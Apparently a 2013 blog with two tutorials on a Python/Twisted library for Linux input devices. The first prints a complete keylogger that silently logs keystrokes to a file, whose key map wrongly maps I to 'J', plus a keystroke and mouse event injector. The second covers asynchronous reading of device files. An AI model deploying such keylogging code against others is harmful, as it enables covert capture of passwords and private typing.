Zobrazují se příspěvky se štítkeminput. Zobrazit všechny příspěvky
Zobrazují se příspěvky se štítkeminput. Zobrazit všechny příspěvky

čtvrtek 10. října 2013

Playing with twistedinput

In previous articles I described some basic stuff about twisted input. With this boring start, let's make some fun. In this short article I'll show you, how to build simple keylogger and event injector. Please don't abuse this for doing anything malicious. I don't take responsibility for it.

Simple keylogger

Twistedinput is ported for Linux systems only. Since most SW for Linux is also open-source, it's not hard to find a good keylogger without worrying about malware infection. But you can make your own. See the following example.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory
from twistedinput.defines import *
from twisted.internet import reactor
import sys

class KeyNames(object):

    keyMap = None

    def __init__(self):
        self.keyMap = {EV_KEY : self.getKeyNames()}

    def getKeyNames(self):
        """
        get mapping object for naming keys
        """
        return {
            KEY_A :     "A",    KEY_B :     "B",    KEY_C :     "C",
            KEY_D :     "D",    KEY_E :     "E",    KEY_F :     "F",
            KEY_G :     "G",    KEY_H :     "H",    KEY_I :     "J",
            KEY_K :     "K",    KEY_L :     "L",    KEY_M :     "M",
            KEY_N :     "N",    KEY_O :     "O",    KEY_P :     "P",
            KEY_Q :     "Q",    KEY_R :     "R",    KEY_S :     "S",
            KEY_T :     "T",    KEY_U :     "U",    KEY_V :     "V",
            KEY_W :     "W",    KEY_X :     "X",    KEY_Y :     "Y",
            KEY_Z :     "Z"}

    def getKeyName(self, event):
        try:
            return self.keyMap[event.type][event.code]
        except KeyError:
            return None

class LoggerProtocol(protocol.EventProtocol):

    keyNames = None
    logFile = None

    def __init__(self, eventFactory, keyNames, logFile):
        protocol.EventProtocol.__init__(self, eventFactory)
        self.keyNames = keyNames
        self.logFile = open(logFile, 'a')

    def eventReceived(self, event):
        if event.value:
            key = self.keyNames.getKeyName(event)
            if key is not None:
                self.logKey(key)

    def logKey(self, key):
        self.logFile.write(key)
        self.logFile.flush()

    def connectionLost(self, reason):
        self.logFile.close()

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <log file>" % sys.argv[0]
        exit(1)
    dev = device.EventDevice(
        LoggerProtocol(
            factory.InputEventFactory(),
            KeyNames(),
            sys.argv[2]),
        sys.argv[1])
    dev.startReading()
    reactor.run()

if __name__ == '__main__':
    main()

KeyNames class does basically same think as EventMapping classes. But EventMapping has a different contract, describing its usage and purpose. It's good idea to define another class for naming a keys rather than modifying some mapping classes or use KeyNames as mapping.

For keep code simple, I named only character keys. You can make better keylogger in the same approach.

You can run this script in a background with arguments defining path to you keyboard device and log file respectively. After that it will log pressed keys into file, even if you type into another program.

Event injector

Another interesting thing is generate fake key strokes by software. You can type characters, move a mouse cursor or send power button event which shut down your computer.

Let's write another example. Following program periodically blink with CapsLock LED on you keyboard. Additionally it sniff key strokes and whenever you press left Ctrl button it moves your mouse by 10 pixels in random direction.

#!/usr/bin/env python
from __future__ import unicode_literals
from twistedinput import protocol, device, factory, event, mapping
from twistedinput.defines import *
from twisted.internet import reactor, task
import sys
import random

class EventGenerator(object):

    def createSyncEvent(self):
        return event.InputEvent.buildInputEvent(EV_SYN, SYN_REPORT, 0)

    def createEventSeq(self):
        raise NotImplementedError("override in subclass")

class BlinkCaps(EventGenerator):

    state = None
    keyboardProtocol = None

    def __init__(self, keyboardProtocol):
        self.state = False
        self.keyboardProtocol = keyboardProtocol

    def __call__(self):
        for event in self.createEventSeq():
            self.keyboardProtocol.transport.write(event.toBytes())

    def createLedEvent(self):
        value = [0, 1][self.state]
        self.state = not self.state
        return event.InputEvent.buildInputEvent(EV_LED, LED_CAPSL, value)

    def createEventSeq(self):
        return [self.createLedEvent(), self.createSyncEvent()]

class MouseMove(EventGenerator):


    def __init__(self, moveDistance):
        self.moveDistance = moveDistance

    def getAxis(self):
        return random.choice([REL_X, REL_Y])

    def getMove(self):
        return random.choice([self.moveDistance, -self.moveDistance])

    def createMoveEvent(self):
        return event.InputEvent.buildInputEvent(EV_REL, self.getAxis(), self.getMove())

    def createEventSeq(self):
        return [self.createMoveEvent(), self.createSyncEvent()]

class KeyboardProtocol(protocol.EventProtocol):

    mouseProtocol = None
    mouseMove = None

    def __init__(self, *args, **kwargs):
        protocol.EventProtocol.__init__(self, *args, **kwargs)
        self.mouseMove = MouseMove(10)

    def keyLeftCtrl(self, event):
        if event.value:
            for event in self.mouseMove.createEventSeq():
                self.mouseProtocol.transport.write(event.toBytes())

class MouseProtocol(protocol.EventProtocol):

    def eventReceived(self, event):
        pass

def main():
    if len(sys.argv) < 3:
        print "usage: %s <keyboard device> <mouse device>" % sys.argv[0]
        exit(1)
    keyboardProtocol = KeyboardProtocol(
        factory.InputEventFactory(),
        mapping.KeyboardMapping())
    keyboard = device.EventDevice(
        keyboardProtocol,
        sys.argv[1])

    mouseProtocol = MouseProtocol(
        factory.InputEventFactory())
    mouse = device.EventDevice(
        mouseProtocol,
        sys.argv[2])

    keyboardProtocol.mouseProtocol = mouseProtocol

    t = task.LoopingCall(BlinkCaps(keyboardProtocol))
    t.start(1.0)

    keyboard.startReading()

    reactor.run()

if __name__ == '__main__':
    main()

čtvrtek 19. září 2013

Reading gamepad with Twisted

Recently, I decided to develop library for reading input devices in Python. I like Twisted framework and asynchronous programming, so I used it for implementing my library.

In the past, when I needed to read some files, I just used synchronous approach. Even when I was using asynchronous framework, such as Twisted. The reason is simple, Twisted does not provide convenient API for accessing files asynchronously. If you really need it, you have to program it yourself.

In this article I will describe how to use twisted framework for asynchronous reading from files. In this case it will be special files for devices but you can use same approach for any file you want.

You can find my library, which I called twistedinput, on the GitHub.

Everything is file

If you are familiar with Linux, you probably know, that everything is file. Regular files, folders, pipes, sockets and also devices are represented by a file. For the simplest way of reading data from gamepad, you can use following script:

buben@debian:~$ cat simple_gamepad.py
#!/usr/bin/env python
import sys

# open file
f = open(sys.argv[1])

# read one byte and print it out
while True:
    b = f.read(1)
    print “0x%02x” % ord(b)

First of all, we need locate file representation of gamepad.

buben@debian:~$ cat /proc/bus/input/devices

. . . truncated . . .

I: Bus=0003 Vendor=1345 Product=1000 Version=0110 
N: Name="Generic   USB  Joystick  " 
P: Phys=usb-0000:00:12.0-2/input0 
S: Sysfs=/devices/pci0000:00/0000:00:12.0/usb3/3-2/3-2:1.0/input/input15 
U: Uniq= 
H: Handlers=event15 js0 
B: PROP=0 
B: EV=1b 
B: KEY=fff00000000 0 0 0 0 
B: ABS=30027 
B: MSC=10 

Nice, file name for gamepad is event15, full path to it is /dev/input/event15. If you will run simple_gamepad.py with this path as an argument and press some button on gamepad, you will get lot of output, one byte on each line.

Time for Twisted

Fine, we are reading data from device and printing them out in hexadecimal format. But in synchronous fashion. It's time for basic implementation in Twisted framework.

First of all, we need to define class, which will represent an input device. This device can be basically anything, like mouse, keyboard, webcam, power button or my gamepad. Instance of this class will be able to read and write data from or into a file. It has no idea what these data are.

For interpreting data we have to create another class. Twisted calls these classes as protocols. Protocols receive data from their transport layers and know meaning of these data.

So let's start with device class

buben@debian:~$ cat device.py
from __future__ import unicode_literals
from twisted.internet.abstract import FileDescriptor
from twisted.internet import fdesc

class EventDevice(FileDescriptor):

    __device = None

    def __init__(self, protocol, device):
        FileDescriptor.__init__(self)
        self.protocol = protocol
        self.protocol.makeConnection(self)
        self.__device = open(device)

    def fileno(self):
        return self.__device.fileno()

    def doRead(self):
        return fdesc.readFromFD(self.fileno(), self.protocol.dataReceived)

This is very simple implementation of device class. As you can see, it takes two arguments. A protocol, which is responsible for handling data. And a device, which is only file name of an input device in your system.

There are also two important methods:

  • fileno - this provides a file descriptor. Twisted will need it for calling select system call.
  • doRead - when some data is available, Twisted calls this method for receiving them. This method calls readFromFD, a Twisted utility function which simply reads data from file descriptor and gives them to a callback function - in this case dataReceived in the protocol.

Also note, that EventDevice is derived from the FileDescriptor class. If you are interested in, you can check full documentation for this class.

Okay, lets't write a simple protocol.

buben@debian:~$ cat protocol.py
from __future__ import unicode_literals
from twisted.internet.protocol import Protocol

class EventProtocol(Protocol):

    def dataReceived(self, data):
        print len(data)

When protocol receives chunk of some data, it prints out their length. This isn't anything useful, but it's fine for demonstration purpose.

Now we can put all these things together with the following script:

buben@debian:~$ cat test.py
#!/usr/bin/env python
from __future__ import unicode_literals
import sys
from device import EventDevice
from protocol import EventProtocol
from twisted.internet import reactor

EventDevice(
    EventProtocol(),
    sys.argv[1]).startReading()
reactor.run()

If you run the script and press some button on the gamepad, you will get the following output:

buben@debian:~$ chmod +x test.py 
buben@debian:~$ ./test.py /dev/input/event15 
48
48

The program tells us that it received 48 bytes of data. In asynchronous way!

This is basic asynchronous reading from input devices. For doing something useful, you will need to understood these data. Decoding them isn't topic of this article, maybe later :)

Further reading